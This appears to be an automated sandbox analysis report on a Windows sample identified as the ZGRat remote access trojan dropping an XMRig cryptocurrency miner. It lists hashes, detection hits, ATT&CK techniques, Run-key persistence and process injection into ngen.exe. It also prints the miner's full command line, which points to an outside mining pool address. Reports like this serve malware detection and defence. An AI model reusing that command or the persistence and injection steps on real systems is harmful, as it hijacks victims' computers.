xmrig | b0e075912e279e893ea6f1aa33a3734679215d740b861ee1f607f1f0406b8094

Analysis

max time kernel
146s
max time network
149s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
10-05-2024 02:10

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General

Target

FB23FDE22424F2B381E8325FB71CD2B6.exe
Size

2.5MB
MD5

fb23fde22424f2b381e8325fb71cd2b6
SHA1

6628984dbfaf1e4ffc8a46861cad9809e0f53ebe
SHA256

b0e075912e279e893ea6f1aa33a3734679215d740b861ee1f607f1f0406b8094
SHA512

51dd1c34e0a58238a5ea69a58814ca88bbc299282ebae25d8e03014a0c5177daeb480115ff9b4112991fbecf64d3ac04af7fc0026d903dd761a7a8b3e4f25ed8
SSDEEP

49152:WRqr+/a5i+yQgWd2hvEdS82N26odkmgpAqGE0XjJ7lAXkE6:1+Uzyc2vEdSVJmgaqGE0XVKXk

Score

10^/10

xmrig zgrat miner persistence rat upx

Malware Config

Signatures

Detect ZGRat V1 34 IoCs

resource	yara_rule
behavioral1/memory/3048-3-0x000000001B410000-0x000000001B62E000-memory.dmp	family_zgrat_v1
behavioral1/memory/3048-5-0x000000001B410000-0x000000001B628000-memory.dmp	family_zgrat_v1
behavioral1/memory/3048-4-0x000000001B410000-0x000000001B628000-memory.dmp	family_zgrat_v1
behavioral1/memory/3048-7-0x000000001B410000-0x000000001B628000-memory.dmp	family_zgrat_v1
behavioral1/memory/3048-9-0x000000001B410000-0x000000001B628000-memory.dmp	family_zgrat_v1
behavioral1/memory/3048-11-0x000000001B410000-0x000000001B628000-memory.dmp	family_zgrat_v1
behavioral1/memory/3048-13-0x000000001B410000-0x000000001B628000-memory.dmp	family_zgrat_v1
behavioral1/memory/3048-15-0x000000001B410000-0x000000001B628000-memory.dmp	family_zgrat_v1
behavioral1/memory/3048-17-0x000000001B410000-0x000000001B628000-memory.dmp	family_zgrat_v1
behavioral1/memory/3048-19-0x000000001B410000-0x000000001B628000-memory.dmp	family_zgrat_v1
behavioral1/memory/3048-35-0x000000001B410000-0x000000001B628000-memory.dmp	family_zgrat_v1
behavioral1/memory/3048-37-0x000000001B410000-0x000000001B628000-memory.dmp	family_zgrat_v1
behavioral1/memory/3048-39-0x000000001B410000-0x000000001B628000-memory.dmp	family_zgrat_v1
behavioral1/memory/3048-41-0x000000001B410000-0x000000001B628000-memory.dmp	family_zgrat_v1
behavioral1/memory/3048-43-0x000000001B410000-0x000000001B628000-memory.dmp	family_zgrat_v1
behavioral1/memory/3048-45-0x000000001B410000-0x000000001B628000-memory.dmp	family_zgrat_v1
behavioral1/memory/3048-49-0x000000001B410000-0x000000001B628000-memory.dmp	family_zgrat_v1
behavioral1/memory/3048-51-0x000000001B410000-0x000000001B628000-memory.dmp	family_zgrat_v1
behavioral1/memory/3048-53-0x000000001B410000-0x000000001B628000-memory.dmp	family_zgrat_v1
behavioral1/memory/3048-57-0x000000001B410000-0x000000001B628000-memory.dmp	family_zgrat_v1
behavioral1/memory/3048-55-0x000000001B410000-0x000000001B628000-memory.dmp	family_zgrat_v1
behavioral1/memory/3048-61-0x000000001B410000-0x000000001B628000-memory.dmp	family_zgrat_v1
behavioral1/memory/3048-63-0x000000001B410000-0x000000001B628000-memory.dmp	family_zgrat_v1
behavioral1/memory/3048-23-0x000000001B410000-0x000000001B628000-memory.dmp	family_zgrat_v1
behavioral1/memory/3048-21-0x000000001B410000-0x000000001B628000-memory.dmp	family_zgrat_v1
behavioral1/memory/3048-67-0x000000001B410000-0x000000001B628000-memory.dmp	family_zgrat_v1
behavioral1/memory/3048-66-0x000000001B410000-0x000000001B628000-memory.dmp	family_zgrat_v1
behavioral1/memory/3048-59-0x000000001B410000-0x000000001B628000-memory.dmp	family_zgrat_v1
behavioral1/memory/3048-47-0x000000001B410000-0x000000001B628000-memory.dmp	family_zgrat_v1
behavioral1/memory/3048-33-0x000000001B410000-0x000000001B628000-memory.dmp	family_zgrat_v1
behavioral1/memory/3048-31-0x000000001B410000-0x000000001B628000-memory.dmp	family_zgrat_v1
behavioral1/memory/3048-29-0x000000001B410000-0x000000001B628000-memory.dmp	family_zgrat_v1
behavioral1/memory/3048-27-0x000000001B410000-0x000000001B628000-memory.dmp	family_zgrat_v1
behavioral1/memory/3048-25-0x000000001B410000-0x000000001B628000-memory.dmp	family_zgrat_v1

ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 1 IoCs

miner

resource	yara_rule
behavioral1/memory/2204-4939-0x0000000140000000-0x00000001407DC000-memory.dmp	xmrig

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2204-4932-0x0000000140000000-0x00000001407DC000-memory.dmp	upx
behavioral1/memory/2204-4939-0x0000000140000000-0x00000001407DC000-memory.dmp	upx

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Windows\CurrentVersion\Run\jotler = "C:\\Users\\Admin\\AppData\\Roaming\\jotler.exe"	FB23FDE22424F2B381E8325FB71CD2B6.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 3048 set thread context of 1932	3048	FB23FDE22424F2B381E8325FB71CD2B6.exe	28
PID 1932 set thread context of 2204	1932	FB23FDE22424F2B381E8325FB71CD2B6.exe	30

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1932	FB23FDE22424F2B381E8325FB71CD2B6.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	3048	FB23FDE22424F2B381E8325FB71CD2B6.exe
Token: SeDebugPrivilege	3048	FB23FDE22424F2B381E8325FB71CD2B6.exe
Token: SeDebugPrivilege	1932	FB23FDE22424F2B381E8325FB71CD2B6.exe
Token: SeLockMemoryPrivilege	2204	ngen.exe
Token: SeLockMemoryPrivilege	2204	ngen.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2204	ngen.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 3048 wrote to memory of 1932	3048	FB23FDE22424F2B381E8325FB71CD2B6.exe	28
PID 3048 wrote to memory of 1932	3048	FB23FDE22424F2B381E8325FB71CD2B6.exe	28
PID 3048 wrote to memory of 1932	3048	FB23FDE22424F2B381E8325FB71CD2B6.exe	28
PID 3048 wrote to memory of 1932	3048	FB23FDE22424F2B381E8325FB71CD2B6.exe	28
PID 3048 wrote to memory of 1932	3048	FB23FDE22424F2B381E8325FB71CD2B6.exe	28
PID 3048 wrote to memory of 1932	3048	FB23FDE22424F2B381E8325FB71CD2B6.exe	28
PID 3048 wrote to memory of 1932	3048	FB23FDE22424F2B381E8325FB71CD2B6.exe	28
PID 1932 wrote to memory of 2204	1932	FB23FDE22424F2B381E8325FB71CD2B6.exe	30
PID 1932 wrote to memory of 2204	1932	FB23FDE22424F2B381E8325FB71CD2B6.exe	30
PID 1932 wrote to memory of 2204	1932	FB23FDE22424F2B381E8325FB71CD2B6.exe	30
PID 1932 wrote to memory of 2204	1932	FB23FDE22424F2B381E8325FB71CD2B6.exe	30
PID 1932 wrote to memory of 2204	1932	FB23FDE22424F2B381E8325FB71CD2B6.exe	30
PID 1932 wrote to memory of 2204	1932	FB23FDE22424F2B381E8325FB71CD2B6.exe	30
PID 1932 wrote to memory of 2204	1932	FB23FDE22424F2B381E8325FB71CD2B6.exe	30

C:\Users\Admin\AppData\Local\Temp\FB23FDE22424F2B381E8325FB71CD2B6.exe
"C:\Users\Admin\AppData\Local\Temp\FB23FDE22424F2B381E8325FB71CD2B6.exe"
1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3048
- C:\Users\Admin\AppData\Local\Temp\FB23FDE22424F2B381E8325FB71CD2B6.exe
  "C:\Users\Admin\AppData\Local\Temp\FB23FDE22424F2B381E8325FB71CD2B6.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1932
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe -a rx/0 --url=65.109.127.181:3333 -u PLAYA -p PLAYA -R --variant=-1 --max-cpu-usage=70 --donate-level=1 -opencl
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:2204

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1932-4896-0x0000000000400000-0x000000000040A000-memory.dmp

Filesize
40KB

Download
memory/1932-4938-0x000007FEF5FA0000-0x000007FEF698C000-memory.dmp

Filesize
9.9MB

Download
memory/1932-4900-0x000007FEF5FA0000-0x000007FEF698C000-memory.dmp

Filesize
9.9MB

Download
memory/1932-4899-0x000007FEF5FA0000-0x000007FEF698C000-memory.dmp

Filesize
9.9MB

Download
memory/2204-4939-0x0000000140000000-0x00000001407DC000-memory.dmp

Filesize
7.9MB

Download
memory/2204-4932-0x0000000140000000-0x00000001407DC000-memory.dmp

Filesize
7.9MB

Download
memory/3048-61-0x000000001B410000-0x000000001B628000-memory.dmp

Filesize
2.1MB

Download
memory/3048-21-0x000000001B410000-0x000000001B628000-memory.dmp

Filesize
2.1MB

Download
memory/3048-11-0x000000001B410000-0x000000001B628000-memory.dmp

Filesize
2.1MB

Download
memory/3048-13-0x000000001B410000-0x000000001B628000-memory.dmp

Filesize
2.1MB

Download
memory/3048-15-0x000000001B410000-0x000000001B628000-memory.dmp

Filesize
2.1MB

Download
memory/3048-17-0x000000001B410000-0x000000001B628000-memory.dmp

Filesize
2.1MB

Download
memory/3048-19-0x000000001B410000-0x000000001B628000-memory.dmp

Filesize
2.1MB

Download
memory/3048-35-0x000000001B410000-0x000000001B628000-memory.dmp

Filesize
2.1MB

Download
memory/3048-37-0x000000001B410000-0x000000001B628000-memory.dmp

Filesize
2.1MB

Download
memory/3048-39-0x000000001B410000-0x000000001B628000-memory.dmp

Filesize
2.1MB

Download
memory/3048-41-0x000000001B410000-0x000000001B628000-memory.dmp

Filesize
2.1MB

Download
memory/3048-43-0x000000001B410000-0x000000001B628000-memory.dmp

Filesize
2.1MB

Download
memory/3048-45-0x000000001B410000-0x000000001B628000-memory.dmp

Filesize
2.1MB

Download
memory/3048-49-0x000000001B410000-0x000000001B628000-memory.dmp

Filesize
2.1MB

Download
memory/3048-51-0x000000001B410000-0x000000001B628000-memory.dmp

Filesize
2.1MB

Download
memory/3048-53-0x000000001B410000-0x000000001B628000-memory.dmp

Filesize
2.1MB

Download
memory/3048-57-0x000000001B410000-0x000000001B628000-memory.dmp

Filesize
2.1MB

Download
memory/3048-55-0x000000001B410000-0x000000001B628000-memory.dmp

Filesize
2.1MB

Download
memory/3048-0-0x000007FEF5FA3000-0x000007FEF5FA4000-memory.dmp

Filesize
4KB

Download
memory/3048-63-0x000000001B410000-0x000000001B628000-memory.dmp

Filesize
2.1MB

Download
memory/3048-23-0x000000001B410000-0x000000001B628000-memory.dmp

Filesize
2.1MB

Download
memory/3048-9-0x000000001B410000-0x000000001B628000-memory.dmp

Filesize
2.1MB

Download
memory/3048-4885-0x0000000000500000-0x000000000054C000-memory.dmp

Filesize
304KB

Download
memory/3048-4884-0x0000000000560000-0x00000000005BA000-memory.dmp

Filesize
360KB

Download
memory/3048-67-0x000000001B410000-0x000000001B628000-memory.dmp

Filesize
2.1MB

Download
memory/3048-66-0x000000001B410000-0x000000001B628000-memory.dmp

Filesize
2.1MB

Download
memory/3048-59-0x000000001B410000-0x000000001B628000-memory.dmp

Filesize
2.1MB

Download
memory/3048-47-0x000000001B410000-0x000000001B628000-memory.dmp

Filesize
2.1MB

Download
memory/3048-33-0x000000001B410000-0x000000001B628000-memory.dmp

Filesize
2.1MB

Download
memory/3048-31-0x000000001B410000-0x000000001B628000-memory.dmp

Filesize
2.1MB

Download
memory/3048-29-0x000000001B410000-0x000000001B628000-memory.dmp

Filesize
2.1MB

Download
memory/3048-27-0x000000001B410000-0x000000001B628000-memory.dmp

Filesize
2.1MB

Download
memory/3048-25-0x000000001B410000-0x000000001B628000-memory.dmp

Filesize
2.1MB

Download
memory/3048-4886-0x00000000005C0000-0x0000000000614000-memory.dmp

Filesize
336KB

Download
memory/3048-7-0x000000001B410000-0x000000001B628000-memory.dmp

Filesize
2.1MB

Download
memory/3048-4-0x000000001B410000-0x000000001B628000-memory.dmp

Filesize
2.1MB

Download
memory/3048-5-0x000000001B410000-0x000000001B628000-memory.dmp

Filesize
2.1MB

Download
memory/3048-4898-0x000000001B0B6000-0x000000001B11D000-memory.dmp

Filesize
412KB

Download
memory/3048-4897-0x000007FEF5FA0000-0x000007FEF698C000-memory.dmp

Filesize
9.9MB

Download
memory/3048-3-0x000000001B410000-0x000000001B62E000-memory.dmp

Filesize
2.1MB

Download
memory/3048-2-0x000007FEF5FA0000-0x000007FEF698C000-memory.dmp

Filesize
9.9MB

Download
memory/3048-1-0x0000000000E70000-0x00000000010F4000-memory.dmp

Filesize
2.5MB

Download